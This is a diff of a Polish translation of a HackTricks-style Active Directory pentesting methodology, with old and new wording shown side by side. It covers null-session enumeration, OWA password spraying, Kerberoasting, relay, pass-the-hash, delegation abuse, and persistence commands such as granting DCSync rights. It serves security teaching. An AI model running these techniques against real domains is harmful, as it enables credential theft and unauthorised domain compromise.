- `gobuster dns -d domain.local -t 25 -w /opt/Seclist/Discovery/DNS/subdomain-top2000.txt`
- Zobacz ogólną [**Metodologię testów penetracyjnych**](../../generic-methodologies-and-resources/pentesting-methodology.md), aby znaleźć więcej informacji na ten temat.
- Zobacz ogólną [**Metodologię testów penetracyjnych**](../../generic-methodologies-and-resources/pentesting-methodology.md), aby znaleźć więcej informacji na temat tego, jak to zrobić.
- **Sprawdź dostęp null i Gościa w usługach smb** (to nie zadziała w nowoczesnych wersjach Windows):
- `enum4linux -a -u "" -p "" <DC IP> && enum4linux -a -u "guest" -p "" <DC IP>`
- `smbmap -u "" -p "" -P 445 -H <DC IP> && smbmap -u "guest" -p "" -P 445 -H <DC IP>`
@ -64,12 +67,12 @@ Jeśli masz dostęp do środowiska AD, ale nie masz żadnych poświadczeń/sesji
{{#endref}}
- **Zatrucie sieci**
- Zbieraj poświadczenia [**podszywając się pod usługi z Responder**](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md)
- Uzyskaj dostęp do hosta przez [**nadużywanie ataku relay**](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md#relay-attack)
- Zbieraj poświadczenia **ujawniając** [**fałszywe usługi UPnP z evil-S**](../../generic-methodologies-and-resources/pentesting-network/spoofing-ssdp-and-upnp-devices.md)[**SDP**](https://medium.com/@nickvangilder/exploiting-multifunction-printers-during-a-penetration-test-engagement-28d3840d8856)
- Zbieraj poświadczenia [**podszywając się pod usługi za pomocą Responder**](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md)
- Uzyskaj dostęp do hosta [**nadużywając ataku relay**](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md#relay-attack)
- Zbieraj poświadczenia **eksponując** [**fałszywe usługi UPnP za pomocą evil-S**](../../generic-methodologies-and-resources/pentesting-network/spoofing-ssdp-and-upnp-devices.md)[**SDP**](https://medium.com/@nickvangilder/exploiting-multifunction-printers-during-a-penetration-test-engagement-28d3840d8856)
- [**OSINT**](https://book.hacktricks.wiki/en/generic-methodologies-and-resources/external-recon-methodology/index.html):
- Wyciągnij nazwy użytkowników/nazwy z dokumentów wewnętrznych, mediów społecznościowych, usług (głównie web) w środowiskach domenowych oraz z publicznie dostępnych.
- Jeśli znajdziesz pełne imiona pracowników firmy, możesz spróbować różnych konwencji **namingowych AD** (**[przeczytaj to](https://activedirectorypro.com/active-directory-user-naming-convention/)**). Najczęstsze konwencje to: _ImięNazwisko_, _Imię.Nazwisko_, _ImN_ (3 litery z każdego), _Im.Naz_, _NNazwisko_, _N.Nazwisko_, _NazwiskoImię_, _Nazwisko.Imię_, _NazwiskoN_, _Nazwisko.N_, 3 _losowe litery i 3 losowe liczby_ (abc123).
- Jeśli znajdziesz pełne imiona pracowników firmy, możesz spróbować różnych konwencji **nazewnictwa użytkowników AD** (**[**przeczytaj to**](https://activedirectorypro.com/active-directory-user-naming-convention/)). Najczęstsze konwencje to: _ImięNazwisko_, _Imię.Nazwisko_, _ImN_ (3 litery z każdej), _Im.Naz_, _NNazwisko_, _N.Nazwisko_, _NazwiskoImię_, _Nazwisko.Imię_, _NazwiskoN_, _Nazwisko.N_, 3 _losowe litery i 3 losowe liczby_ (abc123).
- Narzędzia:
- [w0Tx/generate-ad-username](https://github.com/w0Tx/generate-ad-username)
- [urbanadventurer/username-anarchy](https://github.com/urbanadventurer/username-anarchy)
@ -105,7 +108,7 @@ Invoke-PasswordSprayOWA -ExchHostname [ip] -UserList .\valid.txt -Password Summe
Get-GlobalAddressList -ExchHostname [ip] -UserName [domain]\[username] -Password Summer2021 -OutFile gal.txt
```
> [!WARNING]
> Możesz znaleźć listy nazw użytkowników w [**tym repozytorium github**](https://github.com/danielmiessler/SecLists/tree/master/Usernames/Names) \*\*\*\* i w tym ([**statystycznie-prawdopodobne-nazwy-użytkowników**](https://github.com/insidetrust/statistically-likely-usernames)).
> Możesz znaleźć listy nazw użytkowników w [**tym repozytorium github**](https://github.com/danielmiessler/SecLists/tree/master/Usernames/Names) oraz w tym ([**statystycznie prawdopodobne nazwy użytkowników**](https://github.com/insidetrust/statistically-likely-usernames)).
>
> Jednak powinieneś mieć **imię i nazwisko osób pracujących w firmie** z kroku rekonesansu, który powinieneś wykonać wcześniej. Mając imię i nazwisko, możesz użyć skryptu [**namemash.py**](https://gist.github.com/superkojiman/11076951), aby wygenerować potencjalne poprawne nazwy użytkowników.
@ -113,8 +116,8 @@ Get-GlobalAddressList -ExchHostname [ip] -UserName [domain]\[username] -Password
Ok, więc wiesz, że masz już poprawną nazwę użytkownika, ale nie masz haseł... Spróbuj:
- [**ASREPRoast**](asreproast.md): Jeśli użytkownik **nie ma** atrybutu _DONT_REQ_PREAUTH_, możesz **zażądać wiadomości AS_REP** dla tego użytkownika, która będzie zawierać dane zaszyfrowane pochodną hasła użytkownika.
- [**Password Spraying**](password-spraying.md): Spróbujmy najczęściej **używanych haseł** z każdym z odkrytych użytkowników, może któryś z użytkowników używa ego hasła (pamiętaj o polityce haseł!).
- [**ASREPRoast**](asreproast.md): Jeśli użytkownik **nie ma** atrybutu _DONT_REQ_PREAUTH_, możesz **zażądać wiadomości AS_REP** dla tego użytkownika, która będzie zawierać dane zaszyfrowane przez pochodną hasła użytkownika.
- [**Password Spraying**](password-spraying.md): Spróbujmy najczęściej **używanych haseł** z każdym z odkrytych użytkowników, może któryś z użytkowników używa słabego hasła (pamiętaj o polityce haseł!).
- Zauważ, że możesz również **sprayować serwery OWA**, aby spróbować uzyskać dostęp do serwerów pocztowych użytkowników.
{{#ref}}
@ -123,7 +126,7 @@ password-spraying.md
### LLMNR/NBT-NS Poisoning
Możesz być w stanie **uzyskać** niektóre wyzwania **haszy**, aby złamać **truciznę** niektórych protokołów **sieci**:
Możesz być w stanie **uzyskać** kilka wyzwań **hashy**, aby złamać **truciznę** niektórych protokołów **sieci**:
{{#ref}}
../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md
@ -131,7 +134,7 @@ Możesz być w stanie **uzyskać** niektóre wyzwania **haszy**, aby złamać **
### NTLM Relay
Jeśli udało ci się zenumerować aktywny katalog, będziesz miał **więcej e-maili i lepsze zrozumienie sieci**. Możesz być w stanie wymusić ataki NTLM [**relay attacks**](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md#relay-attack) \*\*\*\* aby uzyskać dostęp do środowiska AD.
Jeśli udało ci się zenumerować aktywny katalog, będziesz miał **więcej e-maili i lepsze zrozumienie sieci**. Możesz być w stanie wymusić ataki NTLM [**relay attacks**](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md#relay-attack), aby uzyskać dostęp do środowiska AD.
### Kradzież poświadczeń NTLM
@ -145,7 +148,7 @@ Jeśli możesz **uzyskać dostęp do innych komputerów lub udziałów** jako **
Na tym etapie musisz mieć **skomprymowane poświadczenia lub sesję ważnego konta domenowego.** Jeśli masz jakieś ważne poświadczenia lub powłokę jako użytkownik domenowy, **powinieneś pamiętać, że opcje podane wcześniej są nadal opcjami do skompromitowania innych użytkowników**.
Zanim rozpoczniesz uwierzytelnioną enumerację, powinieneś wiedzieć, czym jest **problem podwójnego skoku Kerberosa.**
Zanim rozpoczniesz uwierzytelnioną enumerację, powinieneś wiedzieć, czym jest **problem podwójnego skoku Kerberos.**
{{#ref}}
kerberos-double-hop-problem.md
@ -155,12 +158,12 @@ kerberos-double-hop-problem.md
Posiadając skompromitowane konto, to **duży krok w kierunku skompromitowania całej domeny**, ponieważ będziesz mógł rozpocząć **Enumerację Active Directory:**
Odnośnie [**ASREPRoast**](asreproast.md) możesz teraz znaleźć każdego możliwego podatnego użytkownika, a odnośnie [**Password Spraying**](password-spraying.md) możesz uzyskać **listę wszystkich nazw użytkowników** i spróbować hasła skompromitowanego konta, pustych haseł i nowych obiecujących haseł.
W odniesieniu do [**ASREPRoast**](asreproast.md) możesz teraz znaleźć każdego możliwego podatnego użytkownika, a w odniesieniu do [**Password Spraying**](password-spraying.md) możesz uzyskać **listę wszystkich nazw użytkowników** i spróbować hasła skompromitowanego konta, pustych haseł i nowych obiecujących haseł.
- Możesz użyć [**CMD do przeprowadzenia podstawowego rekonesansu**](../basic-cmd-for-pentesters.md#domain-info)
- Możesz również użyć [**powershell do rekonesansu**](../basic-powershell-for-pentesters/index.html), co będzie bardziej dyskretne
- Możesz również [**użyć powerview**](../basic-powershell-for-pentesters/powerview.md), aby uzyskać bardziej szczegółowe informacje
- Innym niesamowitym narzędziem do rekonesansu w Active Directory jest [**BloodHound**](bloodhound.md). To **nie jest bardzo dyskretne** (w zależności od metod zbierania, które używasz), ale **jeśli ci to nie przeszkadza**, powinieneś spróbować. Znajdź, gdzie użytkownicy mogą RDP, znajdź ścieżki do innych grup itp.
- Możesz także [**użyć powerview**](../basic-powershell-for-pentesters/powerview.md), aby uzyskać bardziej szczegółowe informacje
- Innym niesamowitym narzędziem do rekonesansu w aktywnym katalogu jest [**BloodHound**](bloodhound.md). Nie jest **zbyt dyskretne** (w zależności od metod zbierania, które używasz), ale **jeśli ci to nie przeszkadza**, zdecydowanie powinieneś spróbować. Znajdź, gdzie użytkownicy mogą RDP, znajdź ścieżki do innych grup itp.
- **Inne zautomatyzowane narzędzia do enumeracji AD to:** [**AD Explorer**](bloodhound.md#ad-explorer)**,** [**ADRecon**](bloodhound.md#adrecon)**,** [**Group3r**](bloodhound.md#group3r)**,** [**PingCastle**](bloodhound.md#pingcastle)**.**
- [**Rekordy DNS AD**](ad-dns-records.md), ponieważ mogą zawierać interesujące informacje.
- Narzędziem z GUI, które możesz użyć do enumeracji katalogu, jest **AdExplorer.exe** z **SysInternal** Suite.
@ -173,7 +176,7 @@ Odnośnie [**ASREPRoast**](asreproast.md) możesz teraz znaleźć każdego możl
Bardzo łatwo jest uzyskać wszystkie nazwy użytkowników domeny z Windows (`net user /domain`, `Get-DomainUser` lub `wmic useraccount get name,sid`). W Linuxie możesz użyć: `GetADUsers.py -all -dc-ip 10.10.10.110 domain.com/username` lub `enum4linux -a -u "user" -p "password" <DC IP>`
> Nawet jeśli ta sekcja enumeracji wygląda na małą, to najważniejsza część wszystkiego. Uzyskaj dostęp do linków (głównie do cmd, powershell, powerview i BloodHound), naucz się, jak enumerować domenę i ćwicz, aż poczujesz się komfortowo. Podczas oceny to będzie kluczowy moment, aby znaleźć drogę do DA lub zdecydować, że nic nie można zrobić.
> Nawet jeśli ta sekcja enumeracji wygląda na małą, jest to najważniejsza część wszystkiego. Uzyskaj dostęp do linków (głównie do cmd, powershell, powerview i BloodHound), naucz się, jak enumerować domenę i ćwicz, aż poczujesz się komfortowo. Podczas oceny to będzie kluczowy moment, aby znaleźć drogę do DA lub zdecydować, że nic nie można zrobić.
### Kerberoast
@ -187,11 +190,11 @@ kerberoast.md
### Zdalne połączenie (RDP, SSH, FTP, Win-RM, itd.)
Gdy już uzyskasz jakieś poświadczenia, możesz sprawdzić, czy masz dostęp do jakiejkolwiek **maszyny**. W tym celu możesz użyć **CrackMapExec**, aby spróbować połączyć się z kilkoma serwerami różnymi protokołami, zgodnie z twoimi skanami portów.
Gdy już uzyskasz jakieś poświadczenia, możesz sprawdzić, czy masz dostęp do jakiejkolwiek **maszyny**. W tym celu możesz użyć **CrackMapExec**, aby spróbować połączyć się z kilkoma serwerami za pomocą różnych protokołów, zgodnie z twoimi skanami portów.
### Lokalne podnoszenie uprawnień
Jeśli masz skompromitowane poświadczenia lub sesję jako zwykły użytkownik domenowy i masz **dostęp** z tym użytkownikiem do **jakiejkolwiek maszyny w domenie**, powinieneś spróbować znaleźć sposób na **podniesienie uprawnień lokalnie i poszukiwanie poświadczeń**. Dzieje się tak, ponieważ tylko z lokalnymi uprawnieniami administratora będziesz w stanie **zrzucić hasze innych użytkowników** w pamięci (LSASS) i lokalnie (SAM).
Jeśli masz skompromitowane poświadczenia lub sesję jako zwykły użytkownik domenowy i masz **dostęp** z tym użytkownikiem do **jakiejkolwiek maszyny w domenie**, powinieneś spróbować znaleźć sposób na **podniesienie uprawnień lokalnie i poszukiwanie poświadczeń**. Dzieje się tak, ponieważ tylko z lokalnymi uprawnieniami administratora będziesz mógł **zrzucić hashe innych użytkowników** w pamięci (LSASS) i lokalnie (SAM).
W tej książce znajduje się pełna strona na temat [**lokalnego podnoszenia uprawnień w Windows**](../windows-local-privilege-escalation/index.html) oraz [**lista kontrolna**](../checklist-windows-privilege-escalation.md). Nie zapomnij również użyć [**WinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite).
@ -207,17 +210,17 @@ Jest bardzo **mało prawdopodobne**, że znajdziesz **bilety** w bieżącym uży
```
### NTLM Relay
Jeśli udało Ci się zenumerować aktywną dyrekcję, będziesz miał **więcej e-maili i lepsze zrozumienie sieci**. Możesz być w stanie wymusić ataki NTLM [**relay attacks**](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md#relay-attack)**.**
Jeśli udało Ci się enumerować aktywną dyrekcję, będziesz miał **więcej e-maili i lepsze zrozumienie sieci**. Możesz być w stanie wymusić ataki NTLM [**relay attacks**](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md#relay-attack)**.**
### **Szukaj poświadczeń w udostępnionych plikach komputerowych**
### Looks for Creds in Computer Shares | SMB Shares
Teraz, gdy masz kilka podstawowych poświadczeń, powinieneś sprawdzić, czy możesz **znaleźć** jakieś **interesujące pliki udostępnione w AD**. Możesz to zrobić ręcznie, ale to bardzo nudne i powtarzalne zadanie (a jeszcze bardziej, jeśli znajdziesz setki dokumentów, które musisz sprawdzić).
[**Śledź ten link, aby dowiedzieć się o narzędziach, które możesz wykorzystać.**](../../network-services-pentesting/pentesting-smb/index.html#domain-shared-folders-search)
[**Follow this link to learn about tools you could use.**](../../network-services-pentesting/pentesting-smb/index.html#domain-shared-folders-search)
### Kradzież poświadczeń NTLM
### Steal NTLM Creds
Jeśli możesz **uzyskać dostęp do innych komputerów lub udostępnionych plików**, możesz **umieścić pliki** (jak plik SCF), które, jeśli zostaną w jakiś sposób otwarte, **wywołają uwierzytelnienie NTLM przeciwko Tobie**, abyś mógł **ukraść** **wyzwanie NTLM** do złamania:
Jeśli możesz **uzyskać dostęp do innych komputerów lub udostępnionych zasobów**, możesz **umieścić pliki** (jak plik SCF), które, jeśli zostaną w jakiś sposób otwarte, **wywołają uwierzytelnienie NTLM przeciwko Tobie**, abyś mógł **ukraść** **wyzwanie NTLM** do złamania:
{{#ref}}
../ntlm/places-to-steal-ntlm-creds.md
@ -231,25 +234,25 @@ Ta luka pozwalała każdemu uwierzytelnionemu użytkownikowi na **kompromitację
printnightmare.md
{{#endref}}
## Eskalacja uprawnień w Active Directory Z uprzywilejowanymi poświadczeniami/sesją
## Privilege escalation on Active Directory WITH privileged credentials/session
**Dla poniższych technik zwykły użytkownik domeny nie wystarczy, potrzebujesz specjalnych uprawnień/poświadczeń, aby przeprowadzić te ataki.**
### Ekstrakcja haszy
### Hash extraction
Mam nadzieję, że udało Ci się **skomprymować jakieś konto lokalnego administratora** za pomocą [AsRepRoast](asreproast.md), [Password Spraying](password-spraying.md), [Kerberoast](kerberoast.md), [Responder](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md) w tym relaying, [EvilSSDP](../../generic-methodologies-and-resources/pentesting-network/spoofing-ssdp-and-upnp-devices.md), [escalating privileges locally](../windows-local-privilege-escalation/index.html).\
Następnie czas na zrzut wszystkich haszy w pamięci i lokalnie.\
[**Przeczytaj tę stronę o różnych sposobach uzyskania haszy.**](https://github.com/carlospolop/hacktricks/blob/master/windows-hardening/active-directory-methodology/broken-reference/README.md)
Mam nadzieję, że udało Ci się **skomprymować jakieś lokalne konto administratora** za pomocą [AsRepRoast](asreproast.md), [Password Spraying](password-spraying.md), [Kerberoast](kerberoast.md), [Responder](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md) w tym relaying, [EvilSSDP](../../generic-methodologies-and-resources/pentesting-network/spoofing-ssdp-and-upnp-devices.md), [escalating privileges locally](../windows-local-privilege-escalation/index.html).\
Następnie czas na zrzut wszystkich hashy w pamięci i lokalnie.\
[**Read this page about different ways to obtain the hashes.**](https://github.com/carlospolop/hacktricks/blob/master/windows-hardening/active-directory-methodology/broken-reference/README.md)
### Pass the Hash
**Gdy masz hash użytkownika**, możesz go użyć do **podszywania się** pod niego.\
Musisz użyć jakiegoś **narzędzia**, które **wykona** **uwierzytelnienie NTLM przy użyciu** tego **hasza**, **lub** możesz utworzyć nowy **sessionlogon** i **wstrzyknąć** ten **hash** do **LSASS**, aby przy każdym **wykonywaniu uwierzytelnienia NTLM** ten **hash był używany.** Ostatnia opcja to to, co robi mimikatz.\
[**Przeczytaj tę stronę, aby uzyskać więcej informacji.**](../ntlm/index.html#pass-the-hash)
Musisz użyć jakiegoś **narzędzia**, które **wykona** **uwierzytelnienie NTLM przy użyciu** tego **hasha**, **lub** możesz utworzyć nowy **sessionlogon** i **wstrzyknąć** ten **hash** do **LSASS**, aby przy każdym **wykonywaniu uwierzytelnienia NTLM** ten **hash był używany.** Ostatnia opcja to to, co robi mimikatz.\
[**Read this page for more information.**](../ntlm/index.html#pass-the-hash)
### Over Pass the Hash/Pass the Key
Ten atak ma na celu **użycie hasza NTLM użytkownika do żądania biletów Kerberos**, jako alternatywy dla powszechnego Pass The Hash w protokole NTLM. Dlatego może to być szczególnie **przydatne w sieciach, w których protokół NTLM jest wyłączony** i tylko **Kerberos jest dozwolony** jako protokół uwierzytelniania.
Ten atak ma na celu **użycie hasha NTLM użytkownika do żądania biletów Kerberos**, jako alternatywy dla powszechnego Pass The Hash w protokole NTLM. Dlatego może być to szczególnie **przydatne w sieciach, w których protokół NTLM jest wyłączony** i tylko **Kerberos jest dozwolony** jako protokół uwierzytelniania.
{{#ref}}
over-pass-the-hash-pass-the-key.md
@ -257,13 +260,13 @@ over-pass-the-hash-pass-the-key.md
### Pass the Ticket
W metodzie ataku **Pass The Ticket (PTT)**, atakujący **kradną bilet uwierzytelniający użytkownika** zamiast jego hasła lub wartości haszy. Ten skradziony bilet jest następnie używany do **podszywania się pod użytkownika**, uzyskując nieautoryzowany dostęp do zasobów i usług w sieci.
W metodzie ataku **Pass The Ticket (PTT)**, atakujący **kradną bilet uwierzytelniający użytkownika** zamiast jego hasła lub wartości hash. Ten skradziony bilet jest następnie używany do **podszywania się pod użytkownika**, uzyskując nieautoryzowany dostęp do zasobów i usług w sieci.
{{#ref}}
pass-the-ticket.md
{{#endref}}
### Ponowne użycie poświadczeń
### Credentials Reuse
Jeśli masz **hash** lub **hasło** lokalnego **administratora**, powinieneś spróbować **zalogować się lokalnie** do innych **komputerów** z jego pomocą.
```bash
@ -286,9 +289,9 @@ abusing-ad-mssql.md
### Unconstrained Delegation
Jeśli znajdziesz jakikolwiek obiekt Komputera z atrybutem [ADS_UF_TRUSTED_FOR_DELEGATION](<https://msdn.microsoft.com/en-us/library/aa772300(v=vs.85).aspx>) i masz uprawnienia domeny na tym komputerze, będziesz w stanie zrzucić TGT z pamięci każdego użytkownika, który loguje się na komputerze.\
Więc, jeśli **Domain Admin loguje się na komputerze**, będziesz w stanie zrzucić jego TGT i podszyć się pod niego używając [Pass the Ticket](pass-the-ticket.md).\
Dzięki ograniczonej delegacji możesz nawet **automatycznie skompromitować serwer drukarki** (mam nadzieję, że będzie to DC).
Jeśli znajdziesz jakikolwiek obiekt Komputera z atrybutem [ADS_UF_TRUSTED_FOR_DELEGATION](<https://msdn.microsoft.com/en-us/library/aa772300(v=vs.85).aspx>) i masz uprawnienia domeny na tym komputerze, będziesz mógł zrzucić TGT z pamięci każdego użytkownika, który loguje się na komputerze.\
Więc, jeśli **Domain Admin loguje się na komputerze**, będziesz mógł zrzucić jego TGT i podszyć się pod niego używając [Pass the Ticket](pass-the-ticket.md).\
Dzięki ograniczonej delegacji mógłbyś nawet **automatycznie skompromitować serwer drukarki** (mam nadzieję, że będzie to DC).
{{#ref}}
unconstrained-delegation.md
@ -372,24 +375,24 @@ Gdy uzyskasz uprawnienia **Domain Admin** lub jeszcze lepiej **Enterprise Admin*
### Privesc as Persistence
Niektóre z wcześniej omawianych technik mogą być używane do utrzymania.\
Niektóre z wcześniej omówionych technik mogą być używane do utrzymania.\
Na przykład możesz:
- Uczynić użytkowników podatnymi na [**Kerberoast**](kerberoast.md)
```powershell
```bash
Set-DomainObject -Identity <username> -Set @{serviceprincipalname="fake/NOTHING"}r
```
- Uczynić użytkowników podatnymi na [**ASREPRoast**](asreproast.md)
```powershell
```bash
Set-DomainObject -Identity <username> -XOR @{UserAccountControl=4194304}
```
- Przyznać uprawnienia [**DCSync**](#dcsync) użytkownikowi
```powershell
```bash
Add-DomainObjectAcl -TargetIdentity "DC=SUB,DC=DOMAIN,DC=LOCAL" -PrincipalIdentity bfarmer -Rights DCSync
```
@ -476,7 +479,7 @@ skeleton-key.md
### Custom SSP
[Dowiedz się, czym jest SSP (Security Support Provider) tutaj.](../authentication-credentials-uac-and-efs/index.html#security-support-provider-interface-sspi)\
Możesz stworzyć **własny SSP**, aby **przechwytywać** w **czystym tekście** **poświadczenia** używane do uzyskania dostępu do maszyny.
Możesz stworzyć **własne SSP**, aby **przechwytywać** w **czystym tekście** **poświadczenia** używane do uzyskania dostępu do maszyny.
{{#ref}}
custom-ssp.md
@ -493,7 +496,7 @@ dcshadow.md
### LAPS Persistence
Wcześniej omawialiśmy, jak eskalować uprawnienia, jeśli masz **wystarczające uprawnienia do odczytu haseł LAPS**. Jednak te hasła mogą być również używane do **utrzymania się**.\
Wcześniej omawialiśmy, jak eskalować uprawnienia, jeśli masz **wystarczające uprawnienia do odczytu haseł LAPS**. Jednak te hasła mogą być również używane do **utrzymania trwałości**.\
Sprawdź:
{{#ref}}
@ -508,11 +511,11 @@ Microsoft postrzega **Las** jako granicę bezpieczeństwa. Oznacza to, że **sko
[**Zaufanie domeny**](<http://technet.microsoft.com/en-us/library/cc759554(v=ws.10).aspx>) to mechanizm bezpieczeństwa, który umożliwia użytkownikowi z jednej **domeny** dostęp do zasobów w innej **domenie**. W zasadzie tworzy to powiązanie między systemami uwierzytelniania obu domen, umożliwiając płynne przepływy weryfikacji uwierzytelnienia. Gdy domeny ustanawiają zaufanie, wymieniają i zachowują określone **klucze** w swoich **Kontrolerach Domeny (DC)**, które są kluczowe dla integralności zaufania.
W typowym scenariuszu, jeśli użytkownik zamierza uzyskać dostęp do usługi w **zaufanej domenie**, musi najpierw zażądać specjalnej legitymacji znanej jako **inter-realm TGT** z DC swojej własnej domeny. Ta TGT jest szyfrowana za pomocą wspólnego **klucza**, na który obie domeny się zgodziły. Użytkownik następnie przedstawia tę TGT **DC zaufanej domeny**, aby uzyskać legitymację usługi (**TGS**). Po pomyślnej weryfikacji inter-realm TGT przez DC zaufanej domeny, wydaje TGS, przyznając użytkownikowi dostęp do usługi.
W typowym scenariuszu, jeśli użytkownik zamierza uzyskać dostęp do usługi w **zaufanej domenie**, musi najpierw zażądać specjalnej legitymacji znanej jako **inter-realm TGT** z DC swojej własnej domeny. Ta TGT jest szyfrowana za pomocą wspólnego **klucza**, na który obie domeny się zgodziły. Użytkownik następnie przedstawia tę TGT **DC z zaufanej domeny**, aby uzyskać legitymację usługi (**TGS**). Po pomyślnej weryfikacji inter-realm TGT przez DC z zaufanej domeny, wydaje TGS, przyznając użytkownikowi dostęp do usługi.
**Kroki**:
1. **Komputer kliencki** w **Domenie 1** rozpoczyna proces, używając swojego **hasha NTLM**, aby zażądać **Ticket Granting Ticket (TGT)** od swojego **Kontrolera Domeny (DC1)**.
1. **Klient komputer** w **Domenie 1** rozpoczyna proces, używając swojego **hasha NTLM**, aby zażądać **Ticket Granting Ticket (TGT)** od swojego **Kontrolera Domeny (DC1)**.
2. DC1 wydaje nową TGT, jeśli klient jest pomyślnie uwierzytelniony.
3. Klient następnie żąda **inter-realm TGT** od DC1, które jest potrzebne do uzyskania dostępu do zasobów w **Domenie 2**.
4. Inter-realm TGT jest szyfrowana za pomocą **klucza zaufania** współdzielonego między DC1 a DC2 w ramach dwukierunkowego zaufania domeny.
@ -522,7 +525,7 @@ W typowym scenariuszu, jeśli użytkownik zamierza uzyskać dostęp do usługi w
### Different trusts
Ważne jest, aby zauważyć, że **zaufanie może być jednostronne lub dwustronne**. W przypadku opcji dwustronnej obie domeny będą sobie ufać, ale w przypadku **jednostronnego** zaufania jedna z domen będzie **zaufana**, a druga **ufająca**. W ostatnim przypadku **możesz uzyskać dostęp do zasobów wewnątrz ufającej domeny tylko z zaufanej**.
Ważne jest, aby zauważyć, że **zaufanie może być jednokierunkowe lub dwukierunkowe**. W przypadku opcji dwukierunkowej obie domeny będą sobie ufać, ale w relacji **jednokierunkowej** jedna z domen będzie **zaufana**, a druga **ufająca**. W ostatnim przypadku **możesz uzyskać dostęp do zasobów wewnątrz ufającej domeny tylko z zaufanej**.
Jeśli Domen A ufa Domenie B, A jest domeną ufającą, a B jest zaufaną. Ponadto, w **Domenie A** byłoby to **zaufanie wychodzące**; a w **Domenie B** byłoby to **zaufanie przychodzące**.
@ -530,31 +533,44 @@ Jeśli Domen A ufa Domenie B, A jest domeną ufającą, a B jest zaufaną. Ponad
- **Zaufania rodzic-dziecko**: To powszechna konfiguracja w tym samym lesie, gdzie domena dziecka automatycznie ma dwukierunkowe zaufanie z domeną rodzica. Oznacza to, że żądania uwierzytelnienia mogą płynnie przepływać między rodzicem a dzieckiem.
- **Zaufania krzyżowe**: Nazywane "zaufaniami skrótowymi", są ustanawiane między domenami dziecka, aby przyspieszyć procesy referencyjne. W złożonych lasach, referencje uwierzytelniające zazwyczaj muszą podróżować w górę do korzenia lasu, a następnie w dół do docelowej domeny. Tworząc zaufania krzyżowe, podróż jest skracana, co jest szczególnie korzystne w geograficznie rozproszonych środowiskach.
- **Zaufania zewnętrzne**: Te są ustanawiane między różnymi, niepowiązanymi domenami i są z natury nietransitywne. Zgodnie z [dokumentacją Microsoftu](<https://technet.microsoft.com/en-us/library/cc773178(v=ws.10).aspx>), zaufania zewnętrzne są przydatne do uzyskiwania dostępu do zasobów w domenie poza bieżącym lasem, która nie jest połączona przez zaufanie lasu. Bezpieczeństwo jest wzmacniane poprzez filtrowanie SID w przypadku zaufania zewnętrznego.
- **Zaufania korzeni drzew**: Te zaufania są automatycznie ustanawiane między domeną korzenia lasu a nowo dodanym korzeniem drzewa. Chociaż nie są powszechnie spotykane, zaufania korzeni drzew są ważne dla dodawania nowych drzew domen do lasu, umożliwiając im utrzymanie unikalnej nazwy domeny i zapewniając dwukierunkową transytywność. Więcej informacji można znaleźć w [przewodniku Microsoftu](<https://technet.microsoft.com/en-us/library/cc773178(v=ws.10).aspx>).
- **Zaufania lasów**: Ten typ zaufania to dwukierunkowe zaufanie transytywne między dwoma domenami korzenia lasu, również egzekwujące filtrowanie SID w celu wzmocnienia środków bezpieczeństwa.
- **Zaufania MIT**: Te zaufania są ustanawiane z domenami Kerberos, które są zgodne z [RFC4120](https://tools.ietf.org/html/rfc4120) i nie są systemami Windows. Zaufania MIT są nieco bardziej wyspecjalizowane i odpowiadają środowiskom wymagającym integracji z systemami opartymi na Kerberos poza ekosystemem Windows.
- **Zaufania zewnętrzne**: Te są ustanawiane między różnymi, niepowiązanymi domenami i są z natury nieprzechodnie. Zgodnie z [dokumentacją Microsoftu](<https://technet.microsoft.com/en-us/library/cc773178(v=ws.10).aspx>), zaufania zewnętrzne są przydatne do uzyskiwania dostępu do zasobów w domenie poza aktualnym lasem, która nie jest połączona przez zaufanie lasu. Bezpieczeństwo jest wzmacniane przez filtrowanie SID w przypadku zaufania zewnętrznego.
- **Zaufania korzeni drzew**: Te zaufania są automatycznie ustanawiane między domeną korzenia lasu a nowo dodanym korzeniem drzewa. Chociaż nie są powszechnie spotykane, zaufania korzeni drzew są ważne dla dodawania nowych drzew domen do lasu, umożliwiając im utrzymanie unikalnej nazwy domeny i zapewniając dwukierunkową przejrzystość. Więcej informacji można znaleźć w [przewodniku Microsoftu](<https://technet.microsoft.com/en-us/library/cc773178(v=ws.10).aspx>).
- **Zaufania lasów**: Ten typ zaufania to dwukierunkowe zaufanie przechodnie między dwoma domenami korzenia lasu, również egzekwujące filtrowanie SID w celu wzmocnienia środków bezpieczeństwa.
- **Zaufania MIT**: Te zaufania są ustanawiane z domenami Kerberos, które nie są systemami Windows i są zgodne z [RFC4120](https://tools.ietf.org/html/rfc4120). Zaufania MIT są nieco bardziej wyspecjalizowane i odpowiadają środowiskom wymagającym integracji z systemami opartymi na Kerberos poza ekosystemem Windows.
#### Inne różnice w **relacjach zaufania**
- Relacja zaufania może być również **transytywna** (A ufa B, B ufa C, więc A ufa C) lub **nietransytywna**.
- Relacja zaufania może być skonfigurowana jako **zaufanie dwukierunkowe** (obie sobie ufają) lub jako **zaufanie jednostronne** (tylko jedna z nich ufa drugiej).
- Relacja zaufania może być również **przechodnia** (A ufa B, B ufa C, więc A ufa C) lub **nieprzechodnia**.
- Relacja zaufania może być skonfigurowana jako **zaufanie dwukierunkowe** (obie sobie ufają) lub jako **zaufanie jednokierunkowe** (tylko jedna z nich ufa drugiej).
